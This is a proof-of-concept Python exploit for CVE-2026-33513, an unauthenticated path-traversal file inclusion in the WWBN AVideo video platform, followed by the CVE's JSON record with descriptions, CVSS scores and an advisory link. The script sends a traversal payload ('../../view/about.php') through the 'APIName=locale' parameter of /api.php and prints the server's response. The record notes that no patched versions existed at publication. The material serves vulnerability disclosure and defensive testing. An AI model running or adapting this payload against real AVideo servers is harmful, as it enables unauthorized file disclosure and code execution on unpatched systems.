CVE-2026-33513

import requests def exploit(target_url): """ PoC for CVE-2026-33513: Unauthenticated LFI in WWBN AVideo """ # The vulnerable endpoint endpoint = "/api.php" # Payload demonstrating path traversal to include view/about.php # Adjust the traversal depth (../../) based on the installation directory params = { "APIName": "locale", "file": "../../view/about.php" } try: response = requests.get(target_url + endpoint, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response snippet:") print(response.text[:500]) else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost/avideo" # Replace with actual target exploit(target)

{"cve": {"id": "CVE-2026-33513", "sourceIdentifier": "[email protected]", "published": "2026-03-23T19:16:40.593", "lastModified": "2026-03-25T17:52:58.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated API endpoint (`APIName=locale`) concatenates user input into an `include` path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., `view/about.php`), and it *can* escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree. As of time of publication, no patched versions are available."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. En versiones hasta la 26.0 inclusive, un endpoint de API no autenticado ('APIName=locale') concatena la entrada del usuario en una ruta de 'include' sin canonicalización ni lista blanca. Se acepta el salto de ruta, por lo que archivos PHP arbitrarios bajo la raíz web pueden ser incluidos. En nuestra prueba, esto resultó en divulgación de archivos y ejecución de código confirmadas de contenido PHP existente (por ejemplo, 'view/about.php'), y *puede* escalar a RCE si un atacante puede colocar o controlar un archivo PHP en otro lugar del árbol. En el momento de la publicación, no hay versiones parcheadas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8fw8-q79c-fp9m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}